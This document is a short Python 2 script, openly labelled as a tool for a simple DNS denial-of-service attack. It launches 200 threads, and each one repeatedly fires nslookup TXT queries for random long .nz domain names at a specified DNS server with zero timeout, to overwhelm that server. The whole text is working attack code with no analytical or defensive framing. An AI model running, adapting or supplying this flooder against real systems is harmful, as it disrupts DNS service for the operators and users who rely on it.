Multi-threading script for simple DNS DOS.

dosnslookup.py

#!/usr/bin/python2

from threading import Thread
from threading import Event
from threading import stack_size
from Queue import Queue
from Queue import Empty
import os


class Worker(Thread):
    url_queue = None

    def __init__(self, url_queue):
        super(Worker, self).__init__()
        self.url_queue = url_queue
        self.stop = Event()

    def run(self):
        while not self.stop.isSet():
            #try:
                url = random_url(30)
                os.system("nslookup -querytype=txt -timeout=0 " + url + " 192.168.10.236 &")
                os.system("nslookup -querytype=txt -timeout=0 " + url + " 192.168.10.236 &")
            #except Empty:
                #break

    def join(self):
        self.stop.set()
        super(Worker, self).join()


def random_url(n):
    import string
    import random
    count = 0
    s = 'www.'
    while count < n:
        s += random.choice(string.ascii_lowercase)
        count += 1
    return s+'.nz'


def main(args):
    stack_size(128*1024)
    url_queue = Queue()
    # for url in range(800000):
        # url_queue.put(random_url(15))

    pool = [Worker(url_queue) for i in range(200)]

    for thread in pool:
        thread.daemon = True
        thread.start()

    for thread in pool:
        thread.join()

if __name__ == '__main__':
    import sys
    import time
    start = time.time()
    main(sys.argv)
    print(time.time()-start)